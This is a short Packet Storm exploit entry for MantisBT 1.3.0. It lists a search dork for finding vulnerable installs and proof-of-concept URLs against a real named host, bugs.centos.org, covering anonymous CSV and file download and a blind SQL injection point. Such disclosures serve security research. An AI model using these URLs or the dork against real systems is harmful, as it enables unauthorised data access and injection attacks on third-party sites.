MantisBT 1.3.0 File Download

2015-06-17T00:00:00
ID PACKETSTORM:132351
Type packetstorm
Reporter indoushka
Modified 2015-06-17T00:00:00

Description

                                        
                                            `| # Title : Mantis 1.3.0 Bug Trackers File Download Vulnerability   
| # Author : indoushka   
| # email : indoushka4ever@gmail.com   
| # Dork : Powered by MantisBT 1.3.0-rc1-dev master-5ee4075  
| # Tested on: windows 8.1 Français V.(Pro)   
| # Download : https://www.mantisbt.org  
=======================================  
  
poc :  
  
https://bugs.centos.org/csv_export.php = anonymous csv Files Download  
  
https://bugs.centos.org/browser_search_plugin.php?type=id = File Download   
  
Blind Sql INjection :  
  
http://bugs.centos.org/browser_search_plugin.php?type=1 (inject her)  
  
Greetz :   
jericho http://attrition.org & http://www.osvdb.org/ * packetstormsecurity.com * http://is-sec.org/cc/  
Hussin-X * Stake (www.v4-team.com) * D4NB4R * ViRuS_Ra3cH * yasMouh * https://www.corelan.be * exploit4arab.net  
---------------------------------------------------------------------------------------------------------------  
`